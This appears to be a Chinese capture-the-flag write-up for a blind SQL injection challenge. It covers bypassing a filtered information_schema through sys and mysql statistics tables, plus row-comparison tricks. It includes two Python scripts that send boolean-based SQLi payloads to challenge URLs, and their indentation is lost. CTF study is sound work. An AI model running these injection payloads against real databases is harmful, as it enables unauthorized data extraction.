前言
fuzz的话可以发现过滤了很多东西 ![Z_OJSZYR4{3VNJ)]PTJQ`4.png其中主要information表被过滤了 所以我们需要用其他的表来获取表名 比如
sys.schema_table_statistics_with_buffer
mysql.innodb_table_stats
sys.x$schema_flattened_keys
sys.schema_table_statistics
并且没有过滤| 所以可用||来判断一些东西
输入 0 || 1 可以返回 Nu1L
输入 0 || 2 返回Error Occured When Fetch Result.
所以我们可以根据这些来爆出一些东西
0||length(database())>1 返回 Nu1L
0 || (select (ascii(substr(database(),1,1))>1)) 返回Nu1L
我们可以利用这个来获取表
爆表
import requests
url = "http://b7b911f9-743d-43de-a622-4c445fa1bb68.node4.buuoj.cn:81/index.php"
flag = ""
for i in range(1,100):
head = 32
tail = 127
while not (abs(head -tail) == 1 or head == tail):
mid = (head + tail)>>1
payload = "0 || ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))>{}#"
data = {
"id":payload.format(i,mid)
}
r = requests.post(url,data=data)
if "Nu1L" in r.text:
head = mid
else:
tail = mid
if(tail <= mid):
tail = mid
flag += chr(tail)
print("[!*]:",flag)
偏移注入 爆flag
因为过滤了information 我们无法获取表名,并且过滤了 union select 连起来的所以传统无列名注入不行
这里看一下mysql的一个特性
bc是大于ba的
ae 大于 abc 是因为mysql从第一位比较 直到必出大的哪一位
最后一个,两边的字段数要相同所以这道题还要判断一下 flag表的字段数 只有第二个成功了
((select 1,2,'G')>(select * from f1ag_1s_h3r3_hhhhh))
((select 1,'G')>(select * from f1ag_1s_h3r3_hhhhh))
((select 1)>(select * from f1ag_1s_h3r3_hhhhh))
所以就可以写exp了 这里我二分法没跑成功 日!
import time
import requests
url = "http://e25531bf-d4af-4d3b-bb6a-78f1411785e2.node4.buuoj.cn:81/"
flag = ""
for i in range(100):
for char in range(32,130):
payload = '0 || ((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
data ={"id": payload.format(flag+chr(char))}
r = requests.post(url=url,data=data)
print(str(i)+':'+str(char))
if "Nu1L" in r.text:
break
time.sleep(0.5)
flag += chr(char-1)
print("[!*]:",flag)